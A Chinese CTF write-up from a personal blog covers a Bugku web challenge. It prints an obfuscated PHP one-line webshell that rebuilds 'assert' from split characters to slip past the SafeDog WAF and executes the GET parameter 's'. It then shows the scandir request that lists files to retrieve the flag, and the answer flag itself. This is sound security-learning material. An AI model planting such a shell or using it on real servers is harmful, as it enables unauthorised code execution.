Bugku-CTF之过狗一句话(送给大家一个过狗一句话)
Day25
过狗一句话
送给大家一个过狗一句话
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
本题要点:php scandir()函数、assert代码执行漏洞
php中读取目录下文件的方法:
最简单的是print_r(scandir($dir)),还可以利用print_r(glob("*.*"))
scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思
看题目~
构造: http://123.206.87.240:8010/ ?s=print_r(scandir('./'))
访问的时候就成为 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
则直接获取里面的内容 http://120.24.86.145:8010/ flag_sm1skla1).txt
得到flag
BUGKU{bugku_web_009801_a}
完成!
参考资料:
php读取目录及子目录下所有文件名的方法
http://www.php.cn/manual/view/4514.html
https://www.jb51.net/article/56468.htm/
http://www.w3school.com.cn/php/func_directory_scandir.asp
--------------------- ┑( ̄Д  ̄)┍ --------------------------
作者:0yst3r[一只在安全领域努力奋斗的小菜鸡]
来源:博客园[ https://www.cnblogs.com/0yst3r-2046/ ] 引用时请注明来源哦~
(๑•̀ㅂ•́)و✧ヽ(✿゚▽゚)ノ(*^▽^*) φ(≧ω≦*)♪
如果本文对你有用,本人不胜欢喜。
The world is your oyster.